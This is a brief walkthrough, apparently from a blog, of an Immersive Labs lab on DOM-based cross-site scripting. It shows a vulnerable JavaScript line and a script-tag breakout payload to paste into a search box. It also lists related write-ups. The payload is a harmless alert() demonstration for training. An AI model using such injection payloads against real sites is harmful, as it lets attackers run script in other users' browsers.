ImmersiveLabs1 min read
IML - Cross-Site Scripting: Ep.4 – DOM-Based XSS
Cross-Site Scripting Ep.4 – D - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.
IML - Cross-Site Scripting: Ep.4 – DOM-Based XSS#


<u>Original query:</u>
bash
var tracker = '<div hidden><img src="/resources/search_assets/search.gif?query=' + query + '"></div>'
<u>Inject the following:</u>
bash
'"\>\<script\>alert('XSS')\</script\>\<"'
<u>Malicious query:</u>
bash
var tracker = '<div hidden><img src="/resources/search_assets/search.gif?query=' + '"><script>alert('XSS')</script><"' + '"></div>'
Paste entire malicious code above into Search box


Related articles
ImmersiveLabs1 min
IML - Cross-Site Scripting: Ep.3 – Stored XSS
Cross-Site Scripting Ep.3 – S - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.
- privilege escalation
- rce
- xss
- tryhackme
- hackthebox
ImmersiveLabs1 min
IML - Cross-Site Scripting: Ep.7 – Demonstrate your Skills
Cross-Site Scripting Ep.7 – D - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.
- privilege escalation
- python
- rce
- xss
- tryhackme
ImmersiveLabs1 min
IML - Halloween 2020: Ep.5 – JinjaBread Man (SSTI)
Halloween 2020 Ep.5 – JinjaBread - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.
- privilege escalation
- python
- rce
- xss
- tryhackme